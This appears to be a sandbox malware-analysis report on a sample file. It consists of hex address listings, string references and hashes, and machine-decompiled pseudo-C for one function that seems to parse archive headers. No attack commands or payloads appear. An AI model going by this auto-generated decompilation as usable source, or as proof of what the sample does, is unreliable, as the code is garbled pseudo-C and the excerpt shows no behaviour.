0x00000000
0x0026d1d4
0x00000000
0x0026d1d2
0x0026d1dc
0x0026d1e2
0x0026d1e2
0x0026d1e8
0x0026d1ea
0x0026d1f4
0x0026d1f6
0x0026d1f6
0x0026d1f6
0x0026d1f8
0x0026d1ff
0x0026d204
0x0026d211
0x0026d206
0x0026d209
0x0026d209
0x0026d204
0x0026d12c
0x0026d244
0x0026d24f
0x0026d250
0x0026d251
0x0026d257
0x0026d25d
0x0026d263
0x0026d263
0x00000000
0x0026d09c
0x00000000
0x0026d082
0x0026d264
0x0026d26a
0x0026d271
0x0026d272
0x0026d273
0x0026d278
0x0026d278
0x0026d6dc
0x0026d6e6
0x0026d6e7
0x0026d6ed
0x0026d6ef
0x0026db58
0x0026db5a
0x0026db5c
0x0026db62
0x0026db64
0x0026db6a
0x0026db6c
0x0026debe
0x0026debe
0x0026dec0
0x0026dec6
0x0026decd
0x0026ded3
0x0026ded5
0x0026df73
0x0026df73
0x0026df75
0x0026df76
0x0026df7c
0x00000000
0x0026dedb
0x0026dedb
0x0026dede
0x0026dee4
0x0026deea
0x0026deec
0x0026def2
0x0026def4
0x0026def4
0x0026def6
0x0026def6
0x0026deff
0x0026df06
0x0026df0c
0x0026df0f
0x0026df10
0x0026df12
0x0026df12
0x0026df16
0x0026df18
0x0026df1a
0x0026df20
0x0026df23
0x00000000
0x0026df25
0x0026df25
0x0026df2c
0x0026df2c
0x0026df23
0x0026df18
0x0026deec
0x0026dede
0x0026ded5
0x0026db72
0x0026db72
0x0026db72
0x0026db75
0x0026db79
0x0026db79
0x0026db7a
0x0026db8c
0x0026db99
0x0026dba8
0x0026dbd2
0x0026dbd7
0x0026dbdd
0x0026dbe0
0x0026dbe6
0x0026dbe9
0x0026dc82
0x0026dc89
0x0026dd07
0x0026dd0d
0x0026dd13
0x0026dd16
0x0026dd18
0x0026dda1
0x0026dd1e
0x0026dd1e
0x0026dd24
0x0026dd24
0x0026dd2a
0x0026dd30
0x0026dd32
0x0026dd34
0x0026dd34
0x0026dd3a
0x0026dd40
0x0026dd42
0x0026dd4a
0x0026dd4a
0x0026dd50
0x0026dd52
0x0026dd54
0x0026dd5a
0x0026dd5c
0x0026de73
0x0026de75
0x0026de7b
0x0026de7b
0x0026de7e
0x0026de7f
0x00000000
0x0026dd62
0x0026dd68
0x0026dd68
0x0026dd6a
0x0026dd70
0x0026dd73
0x0026dd7a
0x0026dd80
0x0026dd82
0x0026dda9
0x0026ddab
0x0026ddad
0x0026ddaf
0x0026ddb5
0x0026ddbb
0x0026de55
0x0026de55
0x0026de58
0x00000000
0x0026de5e
0x0026de5e
0x0026de64
0x00000000
0x0026de64
0x0026ddc1
0x0026ddc1
0x0026ddc1
0x0026ddc4
0x00000000
0x00000000
0x0026ddc6
0x0026ddc8
0x0026ddca
0x0026ddd3
0x0026ddd3
0x0026ddd5
0x0026dddb
0x0026dddb
0x0026dde7
0x0026ddf2
0x0026ddf5
0x0026de02
0x0026de05
0x0026de06
0x0026de07
0x0026de0d
0x0026de0f
0x0026de15
0x0026de1b
0x00000000
0x00000000
0x00000000
0x00000000
0x0026de1d
0x0026de1d
0x0026de1d
0x0026de1f
0x00000000
0x00000000
0x0026de21
0x0026de24
0x00000000
0x0026de2a
0x0026de2a
0x0026de2c
0x0026de2e
0x0026de2e
0x0026de2e
0x0026de36
0x0026de39
0x0026de39
0x0026de3f
0x0026de41
0x0026de43
0x0026de4a
0x0026de50
0x0026de52
0x00000000
0x0026de52
0x00000000
0x0026de24
0x00000000
0x0026de1d
0x00000000
0x0026ddc1
0x0026dd84
0x0026dd84
0x0026dd86
0x0026dd8c
0x0026dd93
0x0026dd93
0x0026dd96
0x0026dd96
0x00000000
0x0026dd86
0x00000000
0x0026de6a
0x0026de6a
0x0026de6b
0x0026de6b
0x00000000
0x0026dd70
0x0026dc8b
0x0026dc8b
0x0026dc9d
0x0026dcac
0x0026dcb1
0x0026dcb4
0x0026dcb6
0x00000000
0x0026dcbc
0x0026dcbc
0x0026dcbf
0x00000000
0x0026dcc5
0x0026dcc5
0x0026dccc
0x00000000
0x0026dcd2
0x0026dcd8
0x0026dcda
0x0026dce0
0x0026dce0
0x0026dce2
0x0026dce2
0x0026dce4
0x0026dced
0x0026dcf4
0x0026dcf7
0x0026dcf8
0x0026dcfa
0x0026dcfa
0x00000000
0x0026dd02
0x0026dccc
0x0026dcbf
0x0026dcb6
0x0026dbef
0x0026dbef
0x0026dbf5
0x0026dbf7
0x0026dc13
0x0026dc16
0x00000000
0x0026dc1c
0x0026dc1c
0x0026dc23
0x00000000
0x0026dc29
0x0026dc2f
0x0026dc31
0x0026dc37
0x0026dc37
0x0026dc39
0x0026dc39
0x0026dc3b
0x0026dc44
0x0026dc4b
0x0026dc4e
0x0026dc4f
0x0026dc51
0x0026dc51
0x0026dc59
0x0026dc59
0x0026dc5b
0x00000000
0x0026dc61
0x0026dc61
0x0026dc67
0x0026dc6a
0x0026df34
0x0026df37
0x0026df3d
0x0026df52
0x0026df57
0x0026df5a
0x0026dc70
0x0026dc70
0x0026dc77
0x00000000
0x0026dc77
0x0026dc6a
0x0026dc5b
0x0026dc23
0x0026dbf9
0x0026dbf9
0x0026dbfb
0x0026dc01
0x0026dc07
0x0026dc08
0x0026de85
0x0026de85
0x0026de8c
0x0026de8d
0x0026de8e
0x0026de93
0x0026de96
0x0026de96
0x0026de96
0x0026dbf7
0x0026de98
0x0026de98
0x0026de9a
0x0026df61
0x0026df68
0x0026df6f
0x0026df82
0x0026df88
0x0026df89
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0026dea0
0x0026dea6
0x0026dea6
0x0026deac
0x0026deac
0x0026deb8
0x00000000
0x0026deb8
0x0026d6f5
0x0026d6f5
0x0026d6f7
0x0026d6fd
0x0026d6ff
0x0026d705
0x0026d707
0x0026da7e
0x0026da7e
0x0026da80
0x0026da86
0x0026da8d
0x0026da8f
0x0026daee
0x0026daf1
0x0026daf7
0x0026dafd
0x0026db03
0x0026db05
0x0026db0b
0x0026db0d
0x0026db0d
0x0026db0f
0x0026db0f
0x0026db11
0x0026db1a
0x0026db21
0x0026db24
0x0026db25
0x0026db27
0x0026db27
0x0026db2f
0x0026db31
0x0026db37
0x0026db3d
0x0026db40
0x00000000
0x0026db46
0x0026db46
0x0026db4d
0x0026db4d
0x0026db40
0x0026db31
0x0026db05
0x0026da91
0x0026da91
0x0026da93
0x0026da99
0x0026da9f
0x00000000
0x0026da9f
0x0026da8f
0x0026d70d
0x0026d70d
0x0026d70d
0x0026d710
0x0026d714
0x0026d714
0x0026d715
0x0026d727
0x0026d734
0x0026d743
0x0026d76d
0x0026d772
0x0026d778
0x0026d77b
0x0026d781
0x0026d784
0x0026d800
0x0026d807
0x0026d8cb
0x0026d8d1
0x0026d8d7
0x0026d8da
0x0026d8dc
0x0026d965
0x0026d8e2
0x0026d8e2
0x0026d8e8
0x0026d8e8
0x0026d8ee
0x0026d8f4
0x0026d8f6
0x0026d8f8
0x0026d8f8
0x0026d8fe
0x0026d904
0x0026d906
0x0026d90e
0x0026d90e
0x0026d914
0x0026d916
0x0026d918
0x0026d91e
0x0026d920
0x0026da37
0x0026da39
0x0026da3f
0x0026da3f
0x00000000
0x0026d926
0x0026d92c
0x0026d92c
0x0026d92e
0x0026d934
0x0026d937
0x0026d93e
0x0026d944
0x0026d946
0x0026d96d
0x0026d96f
0x0026d971
0x0026d973
0x0026d979
0x0026d97f
0x0026da19
0x0026da19
0x0026da1c
0x00000000
0x0026da22
0x0026da22
0x0026da28
0x00000000
0x0026da28
0x0026d985
0x0026d985
0x0026d985
0x0026d988
0x00000000
0x00000000
0x0026d98a
0x0026d98c
0x0026d98e
0x0026d997
0x0026d997
0x0026d999
0x0026d99f
0x0026d99f
0x0026d9ab
0x0026d9b6
0x0026d9b9
0x0026d9c6
0x0026d9c9
0x0026d9ca
0x0026d9cb
0x0026d9d1
0x0026d9d3
0x0026d9d9
0x0026d9df
0x00000000
0x00000000
0x00000000
0x00000000
0x0026d9e1
0x0026d9e1
0x0026d9e1
0x0026d9e3
0x00000000
0x00000000
0x0026d9e5
0x0026d9e8
0x0026daa2
0x0026daa2
0x0026daa4
0x0026daaa
0x0026dab0
0x0026dab1
0x00000000
0x0026d9ee
0x0026d9ee
0x0026d9f0
0x0026d9f2
0x0026d9f2
0x0026d9f2
0x0026d9fa
0x0026d9fd
0x0026d9fd
0x0026da03
0x0026da05
0x0026da07
0x0026da0e
0x0026da14
0x0026da16
0x00000000
0x0026da16
0x00000000
0x0026d9e8
0x00000000
0x0026d9e1
0x00000000
0x0026d985
0x0026d948
0x0026d948
0x0026d94a
0x0026d950
0x0026d957
0x0026d957
0x0026d95a
0x0026d95a
0x00000000
0x0026d94a
0x00000000
0x0026da2e
0x0026da2e
0x0026da2f
0x0026da2f
0x00000000
0x0026d934
0x0026d80d
0x0026d80d
0x0026d81f
0x0026d82e
0x0026d833
0x0026d836
0x0026d838
0x0026d854
0x0026d857
0x00000000
0x0026d85d
0x0026d85d
0x0026d864
0x00000000
0x0026d86a
0x0026d870
0x0026d872
0x0026d878
0x0026d878
0x0026d87a
0x0026d87a
0x0026d87c
0x0026d885
0x0026d88c
0x0026d88f
0x0026d890
0x0026d892
0x0026d892
0x00000000
0x0026d87a
0x0026d864
0x0026d83a
0x0026d83c
0x0026d842
0x0026d848
0x0026d849
0x00000000
0x0026d849
0x0026d838
0x0026d786
0x0026d786
0x0026d78c
0x0026d78e
0x0026d7a3
0x0026d7a6
0x00000000
0x0026d7ac
0x0026d7ac
0x0026d7b3
0x00000000
0x0026d7b9
0x0026d7bf
0x0026d7c1
0x0026d7c7
0x0026d7c7
0x0026d7c9
0x0026d7c9
0x0026d7cb
0x0026d7d4
0x0026d7db
0x0026d7de
0x0026d7df
0x0026d7e1
0x0026d7e1
0x0026d89a
0x0026d89a
0x0026d89c
0x00000000
0x0026d8a2
0x0026d8a2
0x0026d8a8
0x0026d8ab
0x0026d7ee
0x0026d7f5
0x00000000
0x0026d8b1
0x0026d8b3
0x0026d8b9
0x0026d8bf
0x0026d8c0
0x0026dab7
0x0026dab7
0x0026dabe
0x0026dabf
0x0026dac0
0x0026dac5
0x0026dac8
0x0026dac8
0x0026d8ab
0x0026d89c
0x0026d7b3
0x0026d790
0x0026d790
0x0026d792
0x0026d798
0x0026da42
0x0026da42
0x0026da43
0x0026da49
0x0026da49
0x0026da50
0x0026da51
0x0026da52
0x0026da57
0x0026da5a
0x0026da5a
0x0026da5a
0x0026d78e
0x0026da5c
0x0026da5c
0x0026da5e
0x0026dacc
0x0026dad3
0x0026dad3
0x0026dad3
0x0026dada
0x0026dadc
0x0026dae2
0x0026dae3
0x0026df8f
0x0026df8f
0x0026df90
0x0026df91
0x0026df96
0x00000000
0x00000000
0x00000000
0x00000000
0x0026da60
0x0026da66
0x0026da66
0x0026da6c
0x0026da6c
0x0026da78
0x00000000
0x0026da78
0x0026d707
0x0026df99
0x0026df99
0x0026df9f
0x0026dfa1
0x0026dfa7
0x0026dfad
0x0026dfaf
0x0026dfb1
0x0026dfb3
0x0026dfb3
0x0026dfb5
0x0026dfb5
0x0026dfbe
0x0026dfbf
0x0026dfc3
0x0026dfca
0x0026dfcd
0x0026dfce
0x0026dfd0
0x0026dfd0
0x0026dfd4
0x0026dfda
0x0026dfdc
0x0026dfe2
0x0026dfe4
0x0026dfea
0x0026dfed
0x0026e000
0x0026e003
0x0026e009
0x0026e01e
0x0026e023
0x0026dfef
0x0026dff1
0x0026dff8
0x0026dff8
0x0026dfed
0x0026e026
0x0026e026
0x0026e036
0x0026e03f
0x0026e040
0x0026e042
0x0026e0d9
0x0026e0db
0x0026e0e6
0x0026e0e6
0x0026e0e8
0x0026e0eb
0x0026e0ed
0x00000000
0x0026e0dd
0x0026e0e3
0x0026e0e3
0x0026e048
0x0026e048
0x0026e04e
0x0026e051
0x0026e057
0x0026e05a
0x0026e060
0x0026e062
0x0026e068
0x0026e06a
0x0026e06c
0x0026e06c
0x0026e06e
0x0026e06e
0x0026e07b
0x0026e082
0x0026e085
0x0026e086
0x0026e088
0x0026e089
0x0026e089
0x0026e08d
0x0026e093
0x0026e095
0x0026e097
0x0026e09d
0x0026e0a0
0x0026e0b4
0x0026e0ba
0x0026e0cf
0x0026e0d4
0x0026e0a2
0x0026e0a2
0x0026e0a9
0x0026e0a9
0x0026e0a0
0x0026e095
0x0026e0f3
0x0026e0f3
0x0026e0f3
0x0026e0ff
0x0026e102
0x0026e108
0x0026e10a
0x0026e10c
0x0026e112
0x0026e114
0x0026e114
0x0026e114
0x0026e112
0x0026e119
0x0026e11a
0x0026e11c
0x0026e11e
0x0026e11e
0x0026e120
0x0026e126
0x0026e12c
0x0026e12e
0x0026e134
0x0026e134
0x0026e13a
0x0026e13c
0x00000000
0x00000000
0x0026e142
0x0026e144
0x0026e146
0x0026e146
0x0026e148
0x0026e148
0x0026e158
0x0026e15f
0x0026e162
0x0026e163
0x0026e165
0x0026e165
0x0026e169
0x0026e16f
0x0026e171
0x0026e173
0x0026e179
0x0026e17c
0x0026e18d
0x0026e190
0x0026e196
0x0026e1ab
0x0026e1b0
0x0026e17e
0x0026e17e
0x0026e185
0x0026e185
0x0026e17c
0x0026e1c1
0x0026e1d0
0x0026e1d1
0x0026e1d1
0x0026e1d3
0x0026e1d5
0x0026e1d5
0x0026e1db
0x0026e1de
0x0026e1e0
0x0026e1e2
0x0026e1e2
0x0026e1e5
0x0026e1e6
0x0026e1e6
0x0026e1eb
0x0026e1ee
0x0026e1f2
0x0026e1f2
0x0026e1f3
0x0026e1f5
0x0026e1fb
0x0026e201
0x00000000
0x00000000
0x00000000
0x0026e201
0x0026e134
0x0026e207
0x0026e207
0x00000000
0x0026e207
0x0026cf8c
0x0026cf83
0x0026cf7a
0x0026cf31
0x0026cf35
0x0026cf3d
0x00000000
0x0026cf3f
0x0026cf45
0x0026cf4a
0x0026e226
0x0026e226
0x0026e229
0x0026e234
0x0026e25f
0x0026e260
0x0026e261
0x0026e262
0x0026e263
0x0026e264
0x0026e269
0x0026e271
0x0026e276
0x0026e27c
0x0026e281
0x0026e282
0x0026e282
0x0026e282
0x0026e288
0x0026e289
0x0026e289
0x0026e28c
0x0026e292
0x00000000
0x00000000
0x0026e294
0x0026e299
0x0026e29c
0x0026e29e
0x0026e2a6
0x0026e2a8
0x0026e2aa
0x0026e2af
0x0026e2b2
0x0026e2b8
0x0026e2bb
0x0026e2bd
0x0026e2bd
0x0026e2bd
0x0026e2bd
0x0026e2bb
0x0026e2c0
0x0026e2cc
0x0026e2d2
0x0026e2da
0x0026e2df
0x0026e2e0
0x0026e2e5
0x0026e2e5
0x0026e2e5
0x0026e2e5
0x0026e2e9
0x0026e2e9
0x0026e2ec
0x0026e2f3
0x0026e300
0x0026e236
0x0026e236
0x0026e236
0x0026e240
0x0026e249
0x0026e24e
0x0026e25c
0x0026e25c
0x0026e234
0x0026cf3d

APIs

__floor_pentium4.LIBCMT ref: 0026D014

Strings

1#IND, xrefs: 0026E20C
1#INF, xrefs: 0026E221
1#QNAN, xrefs: 0026E21A
1#SNAN, xrefs: 0026E213

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: fd5843a64602cb59a7404a2cbb0db8af73218b3e0d84530958ee9bc2e843daf7
Instruction ID: 51c1c1438fd9268de5e44f4ecc050ac7e633870873b9e17354bdfafc504dd651
Opcode Fuzzy Hash: fd5843a64602cb59a7404a2cbb0db8af73218b3e0d84530958ee9bc2e843daf7
Instruction Fuzzy Hash: 06C25971E286298FDB25CE28DD407EAB3B9EB44305F1541EAD80DE7240E775AEE18F40

Uniqueness

Uniqueness Score: -1.00%

Function 002427D4 Relevance: 7.8, APIs: 3, Strings: 1, Instructions: 794
COMMONCrypto

Download Yara Rule

C-Code - Quality: 87%

			E002427D4(intOrPtr* __ecx, void* __eflags) {
				void* __ebp;
				unsigned int _t334;
				signed int _t338;
				char _t357;
				signed short _t364;
				signed int _t369;
				signed int _t376;
				signed char _t379;
				signed char _t382;
				char _t399;
				signed int _t400;
				signed int _t404;
				signed char _t418;
				intOrPtr _t419;
				char _t420;
				signed int _t423;
				signed int _t424;
				signed char _t429;
				signed int _t432;
				signed int _t436;
				signed short _t441;
				signed short _t446;
				unsigned int _t451;
				signed int _t454;
				void* _t457;
				signed int _t459;
				signed int _t462;
				void* _t469;
				signed int _t475;
				unsigned int _t480;
				void* _t481;
				void* _t488;
				void* _t489;
				signed char _t495;
				signed int _t509;
				intOrPtr* _t523;
				signed int _t526;
				signed int _t527;
				intOrPtr* _t528;
				signed int _t536;
				signed int _t541;
				signed int _t543;
				unsigned int _t552;
				signed int _t554;
				signed int _t567;
				signed char _t569;
				signed int _t570;
				void* _t593;
				signed int _t597;
				signed int _t609;
				signed int _t611;
				signed int _t613;
				unsigned int _t620;
				signed char _t636;
				signed char _t647;
				signed int _t650;
				unsigned int _t651;
				signed int _t654;
				signed int _t655;
				signed int _t657;
				signed int _t658;
				unsigned int _t660;
				signed int _t664;
				void* _t665;
				void* _t672;
				signed int _t675;
				signed int _t676;
				signed char _t677;
				signed int _t680;
				void* _t682;
				signed int _t688;
				signed int _t689;
				void* _t695;
				signed int _t696;
				signed int _t697;
				signed int _t705;
				signed int _t706;
				intOrPtr _t709;
				void* _t710;
				signed char _t719;

				_t528 = __ecx;
				E0025E0E4(E00271B2F, _t710);
				E0025E1C0();
				_t523 = _t528;
				 *((intOrPtr*)(_t710 + 0x20)) = _t523;
				E0024C4A5(_t710 + 0x24, _t523);
				 *((intOrPtr*)(_t710 + 0x1c)) = 0;
				 *((intOrPtr*)(_t710 - 4)) = 0;
				_t664 = 7;
				if( *(_t523 + 0x6cbc) == 0) {
					L6:
					 *((char*)(_t710 + 0x5f)) = 0;
					L7:
					_push(_t664);
					E0024C6B0();
					if( *((intOrPtr*)(_t710 + 0x3c)) != 0) {
						 *(_t523 + 0x21e4) = E0024C4EB(_t710 + 0x24) & 0x0000ffff;
						 *(_t523 + 0x21f4) = 0;
						_t688 = E0024C4D3(_t710 + 0x24) & 0x000000ff;
						_t334 = E0024C4EB(_t710 + 0x24) & 0x0000ffff;
						 *(_t523 + 0x21ec) = _t334;
						 *(_t523 + 0x21f4) = _t334 >> 0x0000000e & 0x00000001;
						_t536 = E0024C4EB(_t710 + 0x24) & 0x0000ffff;
						 *(_t523 + 0x21f0) = _t536;
						 *(_t523 + 0x21e8) = _t688;
						__eflags = _t536 - _t664;
						if(_t536 >= _t664) {
							_t689 = _t688 - 0x73;
							__eflags = _t689;
							if(_t689 == 0) {
								 *(_t523 + 0x21e8) = 1;
							} else {
								_t705 = _t689 - 1;
								__eflags = _t705;
								if(_t705 == 0) {
									 *(_t523 + 0x21e8) = 2;
								} else {
									_t706 = _t705 - 6;
									__eflags = _t706;
									if(_t706 == 0) {
										 *(_t523 + 0x21e8) = 3;
									} else {
										__eflags = _t706 == 1;
										if(_t706 == 1) {
											 *(_t523 + 0x21e8) = 5;
										}
									}
								}
							}
							_t338 =  *(_t523 + 0x21e8);
							 *(_t523 + 0x21dc) = _t338;
							__eflags = _t338 - 0x75;
							if(_t338 != 0x75) {
								__eflags = _t338 - 1;
								if(_t338 != 1) {
									L23:
									_push(_t536 - 7);
									L24:
									E0024C6B0();
									 *((intOrPtr*)(_t523 + 0x6ca8)) =  *((intOrPtr*)(_t523 + 0x6ca0)) + E00241954(_t523,  *(_t523 + 0x21f0));
									_t541 =  *(_t523 + 0x21e8);
									asm("adc eax, 0x0");
									 *(_t523 + 0x6cac) =  *(_t523 + 0x6ca4);
									 *(_t710 + 0x50) = _t541;
									__eflags = _t541 - 1;
									if(__eflags == 0) {
										_t665 = _t523 + 0x2208;
										E0024AC0C(_t665);
										_t543 = 5;
										memcpy(_t665, _t523 + 0x21e4, _t543 << 2);
										 *(_t523 + 0x221c) = E0024C4EB(_t710 + 0x24);
										_t647 = E0024C520(_t710 + 0x24);
										 *(_t523 + 0x2220) = _t647;
										 *(_t523 + 0x6cb5) =  *(_t523 + 0x2210) & 0x00000001;
										 *(_t523 + 0x6cb4) =  *(_t523 + 0x2210) >> 0x00000003 & 0x00000001;
										_t552 =  *(_t523 + 0x2210);
										 *(_t523 + 0x6cb7) = _t552 >> 0x00000002 & 0x00000001;
										 *(_t523 + 0x6cbb) = _t552 >> 0x00000006 & 0x00000001;
										 *(_t523 + 0x6cbc) = _t552 >> 0x00000007 & 0x00000001;
										__eflags = _t647;
										if(_t647 != 0) {
											L119:
											_t357 = 1;
											__eflags = 1;
											L120:
											 *((char*)(_t523 + 0x6cb8)) = _t357;
											 *(_t523 + 0x2224) = _t552 >> 0x00000001 & 0x00000001;
											_t554 = _t552 >> 0x00000004 & 0x00000001;
											__eflags = _t554;
											 *(_t523 + 0x6cb9) = _t552 >> 0x00000008 & 0x00000001;
											 *(_t523 + 0x6cba) = _t554;
											L121:
											_t664 = 7;
											L122:
											_t364 = E0024C5D1(_t710 + 0x24, 0);
											__eflags =  *(_t523 + 0x21e4) - (_t364 & 0x0000ffff);
											if( *(_t523 + 0x21e4) == (_t364 & 0x0000ffff)) {
												L132:
												 *((intOrPtr*)(_t710 + 0x1c)) =  *((intOrPtr*)(_t710 + 0x3c));
												goto L133;
											}
											_t369 =  *(_t523 + 0x21e8);
											__eflags = _t369 - 0x79;
											if(_t369 == 0x79) {
												goto L132;
											}
											__eflags = _t369 - 0x76;
											if(_t369 == 0x76) {
												goto L132;
											}
											__eflags = _t369 - 5;
											if(_t369 != 5) {
												L130:
												 *((char*)(_t523 + 0x6cc4)) = 1;
												E00246F5B(0x27ff50, 3);
												__eflags =  *((char*)(_t710 + 0x5f));
												if(__eflags == 0) {
													goto L132;
												}
												E00247032(__eflags, 4, _t523 + 0x1e, _t523 + 0x1e);
												 *((char*)(_t523 + 0x6cc5)) = 1;
												goto L133;
											}
											__eflags =  *(_t523 + 0x45ae);
											if( *(_t523 + 0x45ae) == 0) {
												goto L130;
											}
											 *0x272260();
											_t376 =  *((intOrPtr*)( *((intOrPtr*)( *_t523 + 0x14))))() - _t664;
											__eflags = _t376;
											asm("sbb edx, ecx");
											 *0x272260(_t376, _t647, 0);
											 *((intOrPtr*)( *_t523 + 0x10))();
											 *(_t710 + 0x5e) = 1;
											do {
												_t379 = E002498FD(_t523);
												asm("sbb al, al");
												_t382 =  !( ~_t379) &  *(_t710 + 0x5e);
												 *(_t710 + 0x5e) = _t382;
												_t664 = _t664 - 1;
												__eflags = _t664;
											} while (_t664 != 0);
											__eflags = _t382;
											if(_t382 != 0) {
												goto L132;
											}
											goto L130;
										}
										_t357 = 0;
										__eflags =  *(_t523 + 0x221c);
										if( *(_t523 + 0x221c) == 0) {
											goto L120;
										}
										goto L119;
									}
									if(__eflags <= 0) {
										L115:
										__eflags =  *(_t523 + 0x21ec) & 0x00008000;
										if(( *(_t523 + 0x21ec) & 0x00008000) != 0) {
											 *((intOrPtr*)(_t523 + 0x6ca8)) =  *((intOrPtr*)(_t523 + 0x6ca8)) + E0024C520(_t710 + 0x24);
											asm("adc dword [ebx+0x6cac], 0x0");
										}
										goto L122;
									}
									__eflags = _t541 - 3;
									if(_t541 <= 3) {
										__eflags = _t541 - 2;
										_t64 = (0 | _t541 != 0x00000002) - 1; // -1
										_t672 = (_t64 & 0xffffdcb0) + 0x45d0 + _t523;
										 *(_t710 + 0x48) = _t672;
										E0024AB72(_t672, 0);
										_t567 = 5;
										memcpy(_t672, _t523 + 0x21e4, _t567 << 2);
										_t695 =  *(_t710 + 0x48);
										_t675 =  *(_t710 + 0x50);
										_t569 =  *(_t695 + 8);
										 *(_t695 + 0x1098) =  *(_t695 + 8) & 1;
										 *(_t695 + 0x1099) = _t569 >> 0x00000001 & 1;
										 *(_t695 + 0x109b) = _t569 >> 0x00000002 & 1;
										 *(_t695 + 0x10a0) = _t569 >> 0x0000000a & 1;
										__eflags = _t675 - 2;
										if(_t675 != 2) {
											L35:
											_t650 = 0;
											__eflags = 0;
											_t399 = 0;
											L36:
											 *((char*)(_t695 + 0x10f0)) = _t399;
											__eflags = _t675 - 2;
											if(_t675 == 2) {
												L39:
												_t400 = _t650;
												L40:
												 *(_t695 + 0x10fa) = _t400;
												_t570 = _t569 & 0x000000e0;
												__eflags = _t570 - 0xe0;
												 *((char*)(_t695 + 0x10f1)) = 0 | _t570 == 0x000000e0;
												__eflags = _t570 - 0xe0;
												if(_t570 != 0xe0) {
													_t651 =  *(_t695 + 8);
													_t404 = 0x10000 << (_t651 >> 0x00000005 & 0x00000007);
													__eflags = 0x10000;
												} else {
													_t404 = _t650;
													_t651 =  *(_t695 + 8);
												}
												 *(_t695 + 0x10f4) = _t404;
												 *(_t695 + 0x10f3) = _t651 >> 0x0000000b & 0x00000001;
												 *(_t695 + 0x10f2) = _t651 >> 0x00000003 & 0x00000001;
												 *((intOrPtr*)(_t695 + 0x14)) = E0024C520(_t710 + 0x24);
												 *(_t710 + 0x54) = E0024C520(_t710 + 0x24);
												 *((char*)(_t695 + 0x18)) = E0024C4D3(_t710 + 0x24);
												 *(_t695 + 0x1070) = 2;
												 *((intOrPtr*)(_t695 + 0x1074)) = E0024C520(_t710 + 0x24);
												 *(_t710 + 0x18) = E0024C520(_t710 + 0x24);
												 *(_t695 + 0x1c) = E0024C4D3(_t710 + 0x24) & 0x000000ff;
												 *((char*)(_t695 + 0x20)) = E0024C4D3(_t710 + 0x24) - 0x30;
												 *(_t710 + 0x4c) = E0024C4EB(_t710 + 0x24) & 0x0000ffff;
												_t418 = E0024C520(_t710 + 0x24);
												_t654 =  *(_t695 + 0x1c);
												 *(_t710 + 0x58) = _t418;
												 *(_t695 + 0x24) = _t418;
												__eflags = _t654 - 0x14;
												if(_t654 < 0x14) {
													__eflags = _t418 & 0x00000010;
													if((_t418 & 0x00000010) != 0) {
														 *((char*)(_t695 + 0x10f1)) = 1;
													}
												}
												 *(_t695 + 0x109c) = 0;
												__eflags =  *(_t695 + 0x109b);
												if( *(_t695 + 0x109b) == 0) {
													L55:
													_t419 =  *((intOrPtr*)(_t695 + 0x18));
													 *(_t695 + 0x10fc) = 2;
													__eflags = _t419 - 3;
													if(_t419 == 3) {
														L59:
														 *(_t695 + 0x10fc) = 1;
														L60:
														 *(_t695 + 0x1100) = 0;
														__eflags = _t419 - 3;
														if(_t419 == 3) {
															__eflags = ( *(_t710 + 0x58) & 0x0000f000) - 0xa000;
															if(( *(_t710 + 0x58) & 0x0000f000) == 0xa000) {
																__eflags = 0;
																 *(_t695 + 0x1100) = 1;
																 *((short*)(_t695 + 0x1104)) = 0;
															}
														}
														__eflags = _t675 - 2;
														if(_t675 == 2) {
															L66:
															_t420 = 0;
															goto L67;
														} else {
															__eflags =  *(_t695 + 0x24);
															if( *(_t695 + 0x24) >= 0) {
																goto L66;
															}
															_t420 = 1;
															L67:
															 *((char*)(_t695 + 0x10f8)) = _t420;
															_t423 =  *(_t695 + 8) >> 0x00000008 & 0x00000001;
															__eflags = _t423;
															 *(_t695 + 0x10f9) = _t423;
															if(_t423 == 0) {
																__eflags =  *(_t710 + 0x54) - 0xffffffff;
																_t647 = 0;
																_t676 = 0;
																_t137 =  *(_t710 + 0x54) == 0xffffffff;
																__eflags = _t137;
																_t424 = _t423 & 0xffffff00 | _t137;
																L73:
																 *(_t695 + 0x109a) = _t424;
																 *((intOrPtr*)(_t695 + 0x1058)) = 0 +  *((intOrPtr*)(_t695 + 0x14));
																asm("adc edi, ecx");
																 *((intOrPtr*)(_t695 + 0x105c)) = _t676;
																asm("adc edx, ecx");
																 *(_t695 + 0x1060) = 0 +  *(_t710 + 0x54);
																__eflags =  *(_t695 + 0x109a);
																 *(_t695 + 0x1064) = _t647;
																if( *(_t695 + 0x109a) != 0) {
																	 *(_t695 + 0x1060) = 0x7fffffff;
																	 *(_t695 + 0x1064) = 0x7fffffff;
																}
																_t429 =  *(_t710 + 0x4c);
																_t677 = 0x1fff;
																 *(_t710 + 0x54) = 0x1fff;
																__eflags = _t429 - 0x1fff;
																if(_t429 < 0x1fff) {
																	_t677 = _t429;
																	 *(_t710 + 0x54) = _t429;
																}
																E0024C582(_t710 + 0x24, _t710 - 0x2030, _t677);
																_t432 = 0;
																__eflags =  *(_t710 + 0x50) - 2;
																 *((char*)(_t710 + _t677 - 0x2030)) = 0;
																if( *(_t710 + 0x50) != 2) {
																	 *(_t710 + 0x50) = _t695 + 0x28;
																	_t435 = E002512D6(_t710 - 0x2030, _t695 + 0x28, 0x800);
																	_t680 =  *((intOrPtr*)(_t695 + 0xc)) -  *(_t710 + 0x4c) - 0x20;
																	__eflags =  *(_t695 + 8) & 0x00000400;
																	if(( *(_t695 + 8) & 0x00000400) != 0) {
																		_t680 = _t680 - 8;
																		__eflags = _t680;
